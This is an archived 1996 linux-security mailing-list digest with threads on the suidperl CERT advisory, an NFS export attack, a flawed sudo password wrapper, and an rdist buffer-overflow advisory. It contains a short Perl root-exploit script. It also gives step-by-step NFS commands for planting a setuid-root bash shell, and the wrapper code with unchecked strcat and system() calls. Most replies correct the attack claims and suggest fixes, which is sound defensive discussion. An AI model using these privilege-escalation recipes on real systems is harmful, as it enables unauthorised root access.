[linux-security] BoS: CERT Advisory CA-96.12 - Vulnerability in suidperl (fwd) On Fri, 28 Jun 1996 [email protected] wrote: > > What is the exploit? Run this as a suid or sgid script. It doesn't matter what user or group it's suid/sgid to...it gets root access. #!/usr/bin/perl $ENV{PATH}="/bin:/usr/bin"; $>=0;$<=0; exec("/bin/bash"); Is it just me...or does it give people the willies knowing such an easy to exploit hole was on their systems...perhaps for years. - ------------------------------------------------------------------ Jon Lewis | Mime attachments are OK [email protected] | But please ask before sending http://inorganic5.fdt.net | unsolicited huge files. ________Finger [email protected] for PGP public key_______ ------------------------------ From: [email protected] Date: Fri, 28 Jun 1996 20:23:58 -0400 (EDT) Subject: Re: [linux-security] A secure (?) nfs-server ? I recently ran into a new hole regarding NFS. Insted of exploiting it, I figured I would tell you about it. I have run into a new security hole that is extremely powerful. This trick is not all that complicated. I really should have thought of it before. Some of you, I'm sure, with Linux boxes, may have noticed that at times when you run IRC you don't always get your account as your "whois". For example, let us say that you SLIP up and your account is [email protected], but your box name is: [email protected], sometimes your identd returns: [email protected]. This, I should have realized could be a seriously nice hack. However it turned out that your REAL inetd name was returned when telneting, mounting, etc. So how to break that? Slirp. Slirp redirects TCP ports from one to another. For example if you are [email protected] and you run slirp with the command "redir tcp 31337 to 23" when someone telnets to fruit.net 31337 it will connect them to your box. Now here is the catch. If you are [email protected], logged in as root on your box, the identd returns [email protected] -- bingo. However, for most BSD 4.3 compatible systems in.identd should be commented out in /etc/inetd.conf (On your system) Now let us say that on the fruit.net domain there are other servers that are often NFS mounted by fruit.net. So at boot up fruit.net mounts via NFS jonx.fruit.net. In this case that means that [email protected] can mount jonx.fruit.net READ/WRITE. Now here is the part that becomes a little complicated. There are several ways that you can set up your exports file. / (rw) [stupid] / (rw,insecure) [really stupid] / IPADDRESS(rw) [common way] / IPADDRESS(rw,root_squash) [secure way] Let us say that fruit.net's ip address is 192.144.12.2 Chances are jonx.fruit.net has it set up as: "/ 192.144.12.2(rw)". If so your in for fun. Here is how to go about. Get slirp compile it on your account on fruit.net then go to your system, login as root and type: mount jonx.fruit.net:/ /mnt/ It should mount. This is because when it checks who is attempting to NFS mount it, it looks up your name (root), and your ip which is, thanks to slirp, not your real SLIP ip, but 192.144.12.2 or whatever your host is. However, the reason that this works is because nfsd is inherently insecure. It assumes that only the trusted 'root' is mounting the remote file system. Also, it does not check to see that the mount request originates from a reserved port (<1023). Slirp usually binds to ports between 30000-60000 for TCP/UDP connections. Now you can access the shadow file(usefull for cracking). This nfs mount can be used to create a root-suid shell. All you need to do is create a suid shell (bash). Simply run : "cp /mnt/bin/bash /mnt/rootacct" (or wherever bash is) then from your box do: "chown root.root /mnt/rootacct" then "chmod 4755 /mnt/rootacct" Congrats, you now have a setuid shell that when run by a normal user gives you euid(0). Slirp can be used as a hack to use a Unix workstation/server to impersonate a trusted host and well as it's resources. A protection against this would simply to require all important network connections for UDP and TCP to orginate from a priviliged port. That would mean that root on the real system would have to run the service. Since only root can bind to ports below 1023. Well you get the idea of flaws with Slirp combined with ident. - --Later fooz. Mknod (Sphear Inc.) Signal (Eraser Tech.) ------------------------------ From: [email protected] (Wietse Venema) Date: Sat, 29 Jun 96 22:28:53 MET DST Subject: Re: [linux-security] A secure (?) nfs-server ? > Also, it does not check to see that the mount request originates from a > reserved port (<1023). Slirp usually binds to ports between 30000-60000 for > TCP/UDP connections. When the server allows unprivileged NFS requests, any user-level NFS client program is sufficient to grab the server's file systems. There is no need to run a SLIRP connection for that. Wietse ------------------------------ From: Jeff Barrow Date: Sat, 29 Jun 1996 17:45:43 -0500 (CDT) Subject: Re: [linux-security] A secure (?) nfs-server ? On Fri, 28 Jun 1996 [email protected] wrote: > I recently ran into a new hole regarding NFS. > Insted of exploiting it, I figured I would tell you about it. Apparently, you should have tried it first.... > > I have run into a new security hole that is extremely powerful. This > trick is not all that complicated. I really should have thought of it > before. Some of you, I'm sure, with Linux boxes, may have noticed that at > times when you run IRC you don't always get your account as your "whois". > For example, let us say that you SLIP up and your account is [email protected], > but your box name is: [email protected], sometimes your identd returns: > [email protected]. This, I should have realized could be a seriously nice NOTE: Identd will return root. The IRC server does a reverse-ip lookup to find out what your IP address is. So it would return something like [email protected] > hack. However it turned out that your REAL inetd name was returned when > telneting, mounting, etc. So how to break that? Slirp. Slirp redirects Won't work. 1) Slirp binds port on the real fruit.net. When fruit.net's identd is asked who owns the port, it finds YOUR userid, NOT root. Slirp does not redirect identd queries. If you find a system who's identd asks slirp who owns a port, please do tell! Because that would be a site that's already been hacked. - --Jeff Barrow ------------------------------ From: [email protected] (Grant Kaufmann) Date: Sun, 30 Jun 1996 00:48:31 +0200 (SAT) Subject: [linux-security] Re: A secure (?) nfs-server ? > I recently ran into a new hole regarding NFS. > Insted of exploiting it, I figured I would tell you about it. [stuff deleted] This doesn't seem particularly interesting. NFS mount requests from unprivileged ports have been disallowed on all our sites as it is simple to emulate the RPC calls which NFS uses from a user-level account without the use of slirp. A more interesting question is whether this NFS mount attack could be performed by a spoofing host. Anyone know if this has been accomplished? - -- Grant - -- ------------------------------ From: Brian Mitchell Date: Sun, 30 Jun 1996 06:03:53 -0400 (EDT) Subject: Re: [linux-security] A secure (?) nfs-server ? On Fri, 28 Jun 1996 [email protected] wrote: > I recently ran into a new hole regarding NFS. > Insted of exploiting it, I figured I would tell you about it. > > > I have run into a new security hole that is extremely powerful. This > trick is not all that complicated. I really should have thought of it > before. Some of you, I'm sure, with Linux boxes, may have noticed that at > times when you run IRC you don't always get your account as your "whois". > For example, let us say that you SLIP up and your account is [email protected], > but your box name is: [email protected], sometimes your identd returns: > [email protected]. This, I should have realized could be a seriously nice > hack. However it turned out that your REAL inetd name was returned when it should always retern john, when it returns root it obviously is not doing a ident check, and you probably have a ~ next to your username. There is no way for you to forward 113 on the shell machine to 113 on your machine without having root on the shell machine. > telneting, mounting, etc. So how to break that? Slirp. Slirp redirects > TCP ports from one to another. For example if you are [email protected] and > you run slirp with the command "redir tcp 31337 to 23" when someone > telnets to fruit.net 31337 it will connect them to your box. Now here is > the catch. If you are [email protected], logged in as root on your box, the > identd returns [email protected] -- bingo. However, for most BSD 4.3 compatible > systems in.identd should be commented out in /etc/inetd.conf (On your system) But on Linux, this is not so. identd is included and enabled in most distribution, not that it has anything whatsoever to do with nfs. > > > Now let us say that on the fruit.net domain there are other servers > that are often NFS mounted by fruit.net. So at boot up fruit.net mounts via NFS > jonx.fruit.net. In this case that means that [email protected] can mount > jonx.fruit.net READ/WRITE. Now here is the part that becomes a little > complicated. There are several ways that you can set up your exports file. > > / (rw) [stupid] > / (rw,insecure) [really stupid] > / IPADDRESS(rw) [common way] > / IPADDRESS(rw,root_squash) [secure way] No, not running nfs at all is the secure way. > > Let us say that fruit.net's ip address is 192.144.12.2 Chances are > jonx.fruit.net has it set up as: "/ 192.144.12.2(rw)". If so your in for > fun. Here is how to go about. Get slirp compile it on your account on > fruit.net then go to your system, login as root and type: > mount jonx.fruit.net:/ /mnt/ > > It should mount. This is because when it checks who is attempting to NFS > mount it, it looks up your name (root), and your ip which is, thanks to > slirp, not your real SLIP ip, but 192.144.12.2 or whatever your host is. > However, the reason that this works is because nfsd is inherently insecure. > It assumes that only the trusted 'root' is mounting the remote file system. > Also, it does not check to see that the mount request originates from a > reserved port (<1023). Slirp usually binds to ports between 30000-60000 for > TCP/UDP connections. It will work, but you are confused about identd. Identd does not look up udp connections - indeed, it could not; UDP does not have connections. It is a connectionless protocol. In nfs, you tell the server what uid you are (sure, you can trust me mr server, I really am root - honest!), which in and of itself is the main problem. [description of 2 ways this can be abused clipped] > Slirp can be used as a hack to use a Unix workstation/server to impersonate > a trusted host and well as it's resources. Indeed, but it is not necessary to use slirp to do any of this. > > A protection against this would simply to require all important network > connections for UDP and TCP to orginate from a priviliged port. That would > mean that root on the real system would have to run the service. Since only > root can bind to ports below 1023. I'm no NFS expert, but I was under the impression that this is done by many nfs daemons already. Perhaps not... rsh and rlogin both require connections to originate from a privledged port (as well they should, otherwise host based authentication would be even less secure than it is already [is this possible?]). > > Well you get the idea of flaws with Slirp combined with ident. No, you get the idea of NFS flaws. The exact same thing could be done right from the shell account by issuing mount requests (there is code for sunos floating around that does this very thing). Again, this has absolutely nothing to do with identd. Brian Mitchell [email protected] Unix Security / Perl / WWW / CGI http://www.saturn.net/~brian "I never give them hell. I just tell the truth and they think it's hell" - - H. Truman ------------------------------ End of linux-security-digest V2 #34 *********************************** linux-security-digest/v02.n035100664 1767 1767 51417 6166601776 15467 0ustar majdommajdomFrom: owner-linux-security-digest To: [email protected] Subject: linux-security-digest V2 #35 Reply-To: linux-security Errors-To: owner-linux-security-digest Precedence: bulk linux-security-digest Wednesday, 3 July 1996 Volume 02 : Number 035 Re: [linux-security] A secure (?) nfs-server ? Re: [linux-security] A secure (?) nfs-server ? Re: [linux-security] Re: A secure (?) nfs-server ? Re: [linux-security] BoS: CERT Advisory CA-96.12 - Vulnerability in suidperl (fwd) Re: [linux-security] suspicious users [linux-security] sudo passwd wrapper [linux-security] [8lgm]-Advisory-26.UNIX.rdist.20-3-1996 [Forwarded e-mail from Security Team] ---------------------------------------------------------------------- From: [email protected] (Rogier Wolff) Date: Sun, 30 Jun 1996 15:02:29 +0200 (MET DST) Subject: Re: [linux-security] A secure (?) nfs-server ? > I recently ran into a new hole regarding NFS. > Insted of exploiting it, I figured I would tell you about it. New to you, that is. > Slirp can be used as a hack to use a Unix workstation/server to impersonate > a trusted host and well as it's resources. > > A protection against this would simply to require all important network > connections for UDP and TCP to orginate from a priviliged port. That would > mean that root on the real system would have to run the service. Since only > root can bind to ports below 1023. There is a lot of ramble in the original which I didn't want to quote. Some corrections on the original: - -- NFS usually doesn't use identd to check your identity. - -- modern NFS implementations DO check for ports < 1024. The problem is that you found an ancient host that doens't check for NFS requests to come from a priviliged port. This is an old problem. For example Satan checks for this, and recommends that you disable NFS exports on those machines until you've got a fix. You might have found a tool to do the "breakin" more easily. In the old days you'd have to write a program that emulates "mount" (get the mount sources, remove the bind to the lower port address....). Then you'd have to feed the "NFS handle" to your kernel (any machine will do: once you've got the handle, you've been authenticated....), or write a simple program that issues the nfs calls for chown root some_copied_shell chmod 4755 some_copied_shell Roger. ------------------------------ From: [email protected] (Felix von Leitner) Date: Mon, 1 Jul 1996 06:45:22 +0200 Subject: Re: [linux-security] A secure (?) nfs-server ? > I have run into a new security hole that is extremely powerful. This > trick is not all that complicated. I really should have thought of it > before. Some of you, I'm sure, with Linux boxes, may have noticed that at > times when you run IRC you don't always get your account as your "whois". > For example, let us say that you SLIP up and your account is [email protected], > but your box name is: [email protected], sometimes your identd returns: > [email protected]. This, I should have realized could be a seriously nice > hack. However it turned out that your REAL inetd name was returned when > telneting, mounting, etc. So how to break that? Slirp. Slirp redirects > TCP ports from one to another. For example if you are [email protected] and > you run slirp with the command "redir tcp 31337 to 23" when someone > telnets to fruit.net 31337 it will connect them to your box. Now here is > the catch. If you are [email protected], logged in as root on your box, the > identd returns [email protected] -- bingo. However, for most BSD 4.3 compatible > systems in.identd should be commented out in /etc/inetd.conf (On your system) 1. slirp is not suid-root, so slirp can not bind to the ident port (113). 2. Even if it tried, it would not get permission to do so since inetd is already listening on port 113 if IDENT is enabled. 3. IDENT does not return domains or machine names, it just returns the user name. 4. Neither the portmapper, nor the mountd, nor the nfsd ask the IDENT service. 5. Only your machine name or IP address determine whether your machine gets permission to mount something from the NFS server. 6. Your local machine will only let you mount something if you are root. > It should mount. This is because when it checks who is attempting to NFS > mount it, it looks up your name (root), No it does not. Your local machine will not let you mount something when you are not root. > and your ip which is, thanks to slirp, not your real SLIP ip, but > 192.144.12.2 or whatever your host is. I don't know slirp very well. But if it allows arbitrary port redirections, you could use it to forward your mount and NFS requests so that they appear to come from a host in the trusted network. This would in fact be very bad to allow, so you can configure NFS servers to allow only mount connections from ports <1024. > Now you can access the shadow file(usefull for cracking). He who NFS-exports the shadow file will have many visitors from all over the world. > This nfs mount can be used to create a root-suid shell. He who NFS-exports *anything* without root->nobody mapping will get many visitors, too. > All you need to do is create a suid shell (bash). > Simply run : "cp /mnt/bin/bash /mnt/rootacct" (or wherever bash is) > then from your box do: "chown root.root /mnt/rootacct" > then "chmod 4755 /mnt/rootacct" > Congrats, you now have a setuid shell that when run by a normal user > gives you euid(0). *plonk* Rather than explaining details of trivial things, you should look up details on the not-so-trivial things. You are right when you claim that NFS has flaws. But what you cite here is not a new security hole. Please, go ahead and use your "new" knowledge. > Slirp can be used as a hack to use a Unix workstation/server to impersonate > a trusted host and well as it's resources. Not just slirp, any program that lets you forward packets. Term and ssh come to mind. Because it's so easy, every admin with an IQ of more than one digit restricts NFS access to privileged ports. > Well you get the idea of flaws with Slirp combined with ident. This has nothing to do with ident. Go LART yourself, man. > --Later fooz. > Mknod (Sphear Inc.) Signal (Eraser Tech.) Wow, how lucky we can be that we have such an EL1T3 WaR3Z D00D amongst us ;) Felix [Mod: I'd like to request that everyone please refrain from making negative "personal" comments in messages CC'd to linux-security/alert. Let's be professional here. Thanks. --Jeff.] ------------------------------ From: Brian Mitchell Date: Tue, 2 Jul 1996 05:17:08 -0400 (EDT) Subject: Re: [linux-security] Re: A secure (?) nfs-server ? On Sun, 30 Jun 1996, Grant Kaufmann wrote: > > I recently ran into a new hole regarding NFS. > > Insted of exploiting it, I figured I would tell you about it. > [stuff deleted] > > This doesn't seem particularly interesting. NFS mount requests > from unprivileged ports have been disallowed on all our sites as it > is simple to emulate the RPC calls which NFS uses from a user-level > account without the use of slirp. > A more interesting question is whether this NFS mount attack > could be performed by a spoofing host. Anyone know if this has > been accomplished? It probably could, but if you can't get the file handles back, what good does it do you? Brian Mitchell [email protected] Unix Security / Perl / WWW / CGI http://www.saturn.net/~brian "I never give them hell. I just tell the truth and they think it's hell" - - H. Truman ------------------------------ From: "Darren/Torin/Who Ever..." Date: 03 Jul 1996 11:34:12 -0700 Subject: Re: [linux-security] BoS: CERT Advisory CA-96.12 - Vulnerability in suidperl (fwd) - -----BEGIN PGP SIGNED MESSAGE----- Kevin Buhr, in an immanent manifestation of deity, wrote: >(someone else said): >| Has anyone verified yet whether this is a problem on Linux boxes across >| the world? This is a problem with all linux boxes running any version of Perl before 5.003 and running any version of linux in the 1.1.x series or after. >I've verified the Perl saved setuid bug (CERT Advisory CA-96.12) on a >Debian Linux 1.2.8 box running Perl 5.001. Most other configurations Your best bet is to upgrade to Perl 5.003 as was stated in the CERT Advisory. It's been available on most CPAN mirrors since 25 Jun at {CPAN}/src/5.03/perl5.003.tar.gz. (CPAN is the Comprehensive Perl Archive Network, examples are ftp.funet.fi:/pub/languages/perl/CPAN and ftp.cis.ufl.edu:/pub/perl/CPAN. See ftp://ftp.uoknor.edu/mirrors/CPAN/CPAN.html for more.) Perl 5.003 has also been available for Debian since 25 Jul as perl_5.003-1.deb and perl-suid_5.003-1.deb. perl*_5.003-2.deb is now available as of Tuesday. This is available at ftp://ftp.daft.com/pub/debian/ as well as in buzz-fixes on the debian mirrors. Darren, debian perl maintainer - - -- Darren Stalder/2608 Second Ave, @282/Seattle, WA 98121-1212/USA/+1-800-921-4996 @ Do you have your clothes on? I probably don't. Take yours off. Feel better. @ @ Sysadmin, webweaver, postmaster for hire. C/Perl/CGI programmer and tutor. @ - -----BEGIN PGP SIGNATURE----- Version: 2.6.2 Comment: Processed by Mailcrypt 3.4, an Emacs/PGP interface iQCVAwUBMdq9GI4wrq++1Ls5AQEvAQP+LHdiSbYz/Od/BLjny8zDin/bL37GpZsW AaT2l/Jn7CtqpRUVAog9ZqTymztgc2MR28E/PVvOhDl3aN3XQnP8/SdkFcjN81ui wptoALl0gViRolpDpaTxIY6mmfvRenZ2Gy8mzB0hJmWnZEShKy8dyF5pjArdP2W+ R6Z8CoZZ3Ao= =kpwn - -----END PGP SIGNATURE----- ------------------------------ From: Gary Anderson Date: Sun, 30 Jun 1996 09:22:05 -0400 (EDT) Subject: Re: [linux-security] suspicious users On Fri, 28 Jun 1996 [email protected] wrote: > Date: Fri, 28 Jun 1996 04:12:19 -0400 (EDT) > From: [email protected] > To: Suicide Object > Cc: Peter Orbaek , > [email protected], [email protected] > Subject: Re: [linux-security] suspicious users > > > > Note: This system is for the use of authorized users only. > > Individuals using this computer without authority, > > or in excess of their authority, are subject to having > > all of their activities on this system monitored and > > recorded by system personnel. > > > > Tracing you is currently sponsored by Glock 17L (tm) > > Ummmm... admittedly I don't know nearly as much about Linux as most of > the readers on this list, but I do know a bit about law. > > Stating that only those who use the computer without authority or beyond > their authority doesn't really cut it. The reason is that it is > necessary to look over the shoulder of those who "may" be abusing access > in order to determine if they are indeed doing so. > > So, I'm afraid your disclaimer will have to be a bit more unsettling. If > anyone is really interested in this, I'll devote a little time to write > up something that may be a bit more bullet-proof. > > -Mark > This probably just about covers it. It is the notice used on our systems in the office: This system is for the use of authorized users only. Individuals using this computer system without authority, or in excess of their authority, are subject to having all of their activities on this system monitored and recorded by system personnel. In the course of monitoring individuals improperly using this system, or in the course of system maintenance, the activities of authorized users may also be monitored. Anyone using this system expressly consents to such monitoring and is advised that if such monitoring reveals possible evidence of criminal activity, system personnel may provide the evidence of such monitoring to law enforcement officials. __ **************************************************************************** _/_/_/_/_/ _/_/_/_/_/ _/_/_/_/_/ _/ _/ | Gary Anderson _/ _/ _/ _/ _/ _/ _/ | [email protected] _/ _/_/_/ _/_/_/_/_/ _/_/_/_/_/ _/_/ | -------------------- _/ _/ _/ _/ _/ _/ _/ | finger me for my _/_/_/_/_/ _/ _/ _/ _/ _/ | pgp public key **************************************************************************** The Army has carried the American ... ideal to its logical conclusion. Not only do they prohibit discrimination on the grounds of race, creed and color, but also on ability. -- T. Lehrer ------------------------------ From: Adam Solesby Date: Mon, 1 Jul 1996 13:41:54 -0500 (CDT) Subject: [linux-security] sudo passwd wrapper I implemented a program to disallow changing of passwords of specified users. It is meant to be used with sudo for people that need to change passwords. Please email me suggestions because I'm not too security savvy. --Adam. chpw.c: - ------------------------------------------------------------------------ #include #include #include #include /* chpw.c by Adam Solesby copyright 1996 This program doesn't allow passwords of usernames to be changed. It is meant to be a wrapper for use with sudo and your normal passwd program. It is probably not secure. Please email me if you use this and especially if you find errors or security holes. */ #define NUM_NOCHANGE 2 main( int argc, char ** ARGV ) { /* array of users that should not be changed */ char * NOCHANGE[NUM_NOCHANGE] = { "root", "adam" }; /* full path to passwd program */ char command[100] = "/bin/passwd "; char * sudouser; int i, illegal=0; openlog(ARGV[0], LOG_PID, LOG_AUTH ); sudouser = getenv("USER"); /* sudo should pass the environment */ /* simple test for people testing the system */ if ( sudouser == NULL || strcmp(sudouser,"") == 0 ) { printf("You cannot change passwords.\n"); syslog( LOG_AUTH , "UNKNOWN USER attempted to change a password."); } else if (argc == 2) { /* test for illegal usernames */ for (i=0; i\n", ARGV[0]); } - ------------------------------------------------------------------------ - -- ============================================================================= Adam Solesby [email protected] 615.269.7836 [home] http://www.shack.com [email protected] 615.817.9900 [pager] ============================================================================= ------------------------------ From: Jeff Uphoff Date: Wed, 3 Jul 1996 19:30:06 -0400 Subject: [linux-security] [8lgm]-Advisory-26.UNIX.rdist.20-3-1996 [Forwarded e-mail from Security Team] Red Hat 3.0.3 and Slackware 3.0 (the only distributions I've checked so far) appear safe: by default, they do not install rdist setuid--though the version that comes with them (rdist-6.1.0) would be vulnerable if made setuid (by hand) after installation, for whatever strange reason. (I've inspected the code, and the unchecked buffer is rather obvious.) Note that there is no need to install rdist setuid if it is compiled to use rsh vice rcmd(); rsh is the (safe) default, and is the compilation method used by both Red Hat and Slackware. Anyone care to take a look at other Linux distributions to check for default installations that are configured for setuid/rcmd()? - --Up. - ------- start of forwarded message (RFC 934 encapsulation) ------- From: "[8LGM] Security Team" <[email protected]> To: [email protected] Subject: [8lgm]-Advisory-26.UNIX.rdist.20-3-1996 Date: Wed, 3 Jul 1996 21:25:58 +0100 (BST) ============================================================================= Virtual Domain Hosting Services provided by The FOURnet Information Network mail [email protected] or see http://www.four.net ============================================================================= libC/Inside provided by Electris Software Limited mail [email protected] or see http://www.electris.com ============================================================================= [8lgm]-Advisory-26.UNIX.rdist.20-3-1996 PROGRAM: rdist VULNERABLE VERSIONS: Solaris 2.* SunOS 4.1.* Potentially all versions running setuid root. DESCRIPTION: rdist creates an error message based on a user provided string, without checking bounds on the buffer used. This buffer is on the stack, and can therefore be used to execute arbitrary instructions. IMPACT: Local users can obtain superuser privileges. EXPLOIT: A program was developed to verify this bug on a SunOS 4.1.3 machine, and succeeded in obtaining a shell running uid 0 from rdist. DETAILS: Consider the following command, running as user bin. # rdist -d TestString -d TestString rdist: line 1: TestString redefined distfile: No such file or directory # Using libC/Inside, the following trace was obtained:- ----------------------------------------------------------------------- libC/Inside Shared Library Tracing. V1.0 (Solaris 2.5). Copyright (C) 1996, Electris Software Limited, All Rights Reserved. Tracing started Thu May 9 00:04:19 1996 Pid is 18738 Log file is /tmp/Inside.18738 Log file descriptor is 3 uid=2(bin) gid=2(bin) euid=0(root) groups=2(bin),3(sys) Program is rdist _start+0x30->atexit(call_fini) return(0) _start+0x3c->atexit(_fini) return(0) main+0x28->getuid() return(2) main+0x38->seteuid(2) return(0) main+0x5c->getuid() return(2) main+0x64->getpwuid(2) return((pw_name="bin", pw_passwd="x", pw_uid=2, pw_gid=2, pw_age="", \ pw_comment="", pw_gecos="", pw_dir="/usr/bin", pw_shell="")) main+0xb0->strcpy(user, "bin") return("bin") main+0xc4->strcpy(homedir, "/usr/bin") return("/usr/bin") main+0xd4->gethostname(host, 32) return(0) (Arg 0 = "legless") main+0x10c->strcmp("-d", "-Server") return(17) define+0x30->strchr("TestString", '=') return((null)) lookup+0x11c->malloc(16) return(0x33220) main+0x10c->strcmp("-d", "-Server") return(17) define+0x30->strchr("TestString", '=') return((null)) lookup+0x88->strcmp("TestString", "TestString") return(0) lookup+0xcc->sprintf(0xeffff8a8, "%s redefined", "TestString") return(20) (Arg 0 = "TestString redefined") yyerror+0x1c->fflush(stdout) return(0) lookup+0xd4->fprintf(stderr, "rdist: line %d: %s\n", 1, \ "TestString redefined") return(36) main+0x444->mktemp("/tmp/rdistXXXXXX") return("/tmp/rdista004_m") main+0x4d8->fopen("distfile", "r") return((null)) main+0x4fc->fopen("Distfile", "r") return((null)) main+0x560->perror("distfile") return() main+0x568->exit(1) ----------------------------------------------------------------------- At lookup+0xcc, sprintf() copies the string provided to an address on the stack. rdist does not check the length of this string, so a large string would overwrite the stack. FIX: Use a version of rdist that does not require setuid root privileges. Obtain a patch from your vendor. STATUS UPDATE: The file: [8lgm]-Advisory-26.UNIX.rdist.20-3-1996.README will be created on www.8lgm.org. This will contain updates on any further versions which are found to be vulnerable, and any other information received pertaining to this advisory. - - ----------------------------------------------------------------------- FEEDBACK AND CONTACT INFORMATION: [email protected] (Mailing list requests - try 'help' for details) [email protected] (Everything else) 8LGM FILESERVER: All [8LGM] advisories may be obtained via the [8LGM] fileserver. For details, 'echo help | mail [email protected]' 8LGM WWW SERVER: [8LGM]'s web server can be reached at http://www.8lgm.org. This contains details of all 8LGM advisories and other useful information. =========================================================================== - - -- - - ----------------------------------------------------------------------- $ echo help | mail [email protected] (Fileserver help) [email protected] (Request to be added to list) [email protected] (General enquiries) ******* VISIT 8LGM ON THE WORLD WIDE WEB: http://www.8lgm.org ******** [8LGM] uses libC/Inside - the worlds leading security analysis tool now available to the public. Visit http:://www.electris.com - ------- end ------- ------------------------------ End of linux-security-digest V2 #35 *********************************** linux-security-digest/v02.n036100664 1767 1767 51141 6170750341 15446 0ustar majdommajdomFrom: owner-linux-security-digest To: [email protected] Subject: linux-security-digest V2 #36 Reply-To: linux-security Errors-To: owner-linux-security-digest Precedence: bulk linux-security-digest Wednesday, 10 July 1996 Volume 02 : Number 036 Re: [linux-security] sudo passwd wrapper Re: [linux-security] sudo passwd wrapper Re: [linux-security] [8lgm]-Advisory-26.UNIX.rdist.20-3-1996 [Forwarded e-mail from Security Team] Re: [linux-security] sudo passwd wrapper Re: [linux-security] sudo passwd wrapper [linux-security] wordperfect for linux [linux-security] joy [linux-security] CERT Advisory CA-96.13.dip_vul (dip vulnerability). Re: [linux-security] joy [linux-security] Re: You wouldn't believe it... Re: [linux-security] joy ---------------------------------------------------------------------- From: spew Date: Wed, 3 Jul 1996 21:39:54 -0400 (EDT) Subject: Re: [linux-security] sudo passwd wrapper On Mon, 1 Jul 1996, Adam Solesby wrote: > I implemented a program to disallow changing of passwords of specified users. > It is meant to be used with sudo for people that need to change passwords. > Please email me suggestions because I'm not too security savvy. --Adam. It shows. :) [snip] > { > strcat(command,ARGV[1]); Bug 1: Stack overwrite. Values of argv[1] greater than 100 - strlen("/bin/passwd ") in length can overwrite the stack and be used to obtain root. > system( command ); /* not safe */ Bug 2: Do I even have to explain this one? ------------------------------ From: Chris Evans Date: Thu, 4 Jul 1996 19:08:32 +0100 (BST) Subject: Re: [linux-security] sudo passwd wrapper On Mon, 1 Jul 1996, Adam Solesby wrote: > I implemented a program to disallow changing of passwords of specified users. > It is meant to be used with sudo for people that need to change passwords. > Please email me suggestions because I'm not too security savvy. --Adam. > chpw.c: [snip..] Problems with your program.... 1) Using system() with user-supplied arguements (check for shell metacharacters) 2) Using system() without clobbering the environment (lots of nasty variables users can set). 3) Relying on USER environment variable to report the user who isn't allowed to change passwords (you really want getpwuid(getuid())->pw_name) A better solution is to look at the ongoing shadow password suite development, I'm about to release a simple patch to allow certain privileged users to change certain passwords (ie ban changes to system accounts). The patch will eventually mutate in a config file capable of allowing certain users to expire passwords, change expiry info, lock accounts etc. Chris. [Mod: Also worth watching, for eventual solutions, is the PAM project. See http://www.redhat.com/pam/ for more info. --Jeff.] ------------------------------ From: "Peter Tobias" Date: Thu, 4 Jul 1996 16:40:51 +0200 (MET DST) Subject: Re: [linux-security] [8lgm]-Advisory-26.UNIX.rdist.20-3-1996 [Forwarded e-mail from Security Team] Jeff Uphoff wrote: > Red Hat 3.0.3 and Slackware 3.0 (the only distributions I've checked so > far) appear safe: by default, they do not install rdist setuid--though > the version that comes with them (rdist-6.1.0) would be vulnerable if > made setuid (by hand) after installation, for whatever strange reason. > (I've inspected the code, and the unchecked buffer is rather obvious.) > > Note that there is no need to install rdist setuid if it is compiled to > use rsh vice rcmd(); rsh is the (safe) default, and is the compilation > method used by both Red Hat and Slackware. > > Anyone care to take a look at other Linux distributions to check for > default installations that are configured for setuid/rcmd()? The Debian distribution does not install rdist setuid. Thanks, Peter - -- Peter Tobias EMail: Fachhochschule Ostfriesland [email protected] Fachbereich Elektrotechnik und Informatik [email protected] Constantiaplatz 4, 26723 Emden, Germany [email protected] ------------------------------ From: Marek Michalkiewicz Date: Fri, 5 Jul 1996 03:42:21 +0200 (MET DST) Subject: Re: [linux-security] sudo passwd wrapper Chris Evans: > Problems with your program.... [ snip ] 4) strcat(command,ARGV[1]) - no check for buffer overrun 5) "sudo chpw root" won't work, but "sudo chpw '-- root'" will (if passwd uses getopt - shadow passwd does). This program was probably a joke (why on 1 July and not 1 April?). At least the author was right in the "it is probably not secure" comment. But it's easier to just give the root password to people who need to change passwords... The moderator must have been asleep (or really busy with some other not security-related things) to approve such a short program with so many obvious holes :-). (sorry, couldn't resist) Marek [Mod : As a rule I don't really review code segments that are posted here, other than to make sure they're relevant to Linux security in some way. I know that I'll miss things in my review (it's inevitable), so I normally opt for tossing the code to the wolves here; as a pack they tend to me more thorough. --Jeff.] ------------------------------ From: Mark Whitis Date: Thu, 4 Jul 1996 20:40:42 -0400 (EDT) Subject: Re: [linux-security] sudo passwd wrapper Other people have already pointed out various serious bugs in this program involving the environment and system() calls and buffer overflows before I even read your message. Here is one which is pretty obvious. On Mon, 1 Jul 1996, Adam Solesby wrote: > /* array of users that should not be changed */ > char * NOCHANGE[NUM_NOCHANGE] = { "root", "adam" }; How about: "bin", "daemon", "adm", "lp", "mail","news","uucp","operator", "games", "gopher", "ftp", and even "nobody"? Also "sync", "shutdown", and "halt"? 1. chpw bin 2. chsh bin 3. login bin 4. bad stuff The privilidge accounts (such as "bin","daemon",...) can be used to gain new priviledges and the "unpriviledged" accounts such as "nobody" can still be used to create a back door for future access to the system (even "nobody" can read /etc/passwd). These holes can be exploited by either the your semi-trusted assistants or anyone who they inadvertantly allow to snoop their activities by careless actions over the net. The method of checking against a list of exclussions is a bad idea in the first place: - You can easily omit important values. You missed about 15. - If you add a priviledged or other non-user account later, it won't be on your list. - it is vulnerable to string equality problems. If "operator" is in your exclusion list, it does not match "operatorxyz" which on some systems is equivalent (user names being limited to 8 chars). Fortunately, Npasswd as distributed with redhat 3.0.3 does not have this problem. A safe uid range would be better or a list of allowed usernames stored in a file (such as "/etc/pleebs") which can only be changed by root and which is automatically updated by your add user script. - --------------------------------------------------------------------------- - --- Mark Whitis WWW: http://www.dbd.com/~whitis/ --- - --- 428-B Moseley Drive; Charlottesville, VA 22903 804-962-4268 --- - --------------------------------------------------------------------------- ------------------------------ From: [email protected] (Jeffrey J. Radice) Date: Mon, 8 Jul 1996 22:57:20 -0500 (CDT) Subject: [linux-security] wordperfect for linux Am I paranoid, or is this potentially a problem: WordPerfect for Linux maintains state information in /tmp/wp-{hostname}. All the files in that directory are mode 666. If I run wordperfect as root (don't know why I would, but let's presume) ... Observe: /tmp>ls -al wpc-suzi/ total 7 drwxrwxrwx 2 root friends 1024 Jul 8 22:33 ./ drwxrwxrwt 5 root wheel 2048 Jul 8 22:33 ../ - -rw-rw-rw- 1 root friends 324 Jul 8 22:33 .wpexc60.man - -rw-rw-rw- 1 root friends 0 Jul 8 22:33 _W60_0000026462a_ prw-rw-rw- 1 root friends 0 Jul 8 22:33 excmsg60| - -rw-rw-rw- 1 root friends 148 Jul 8 22:33 unix60.def - -rw-rw-rw- 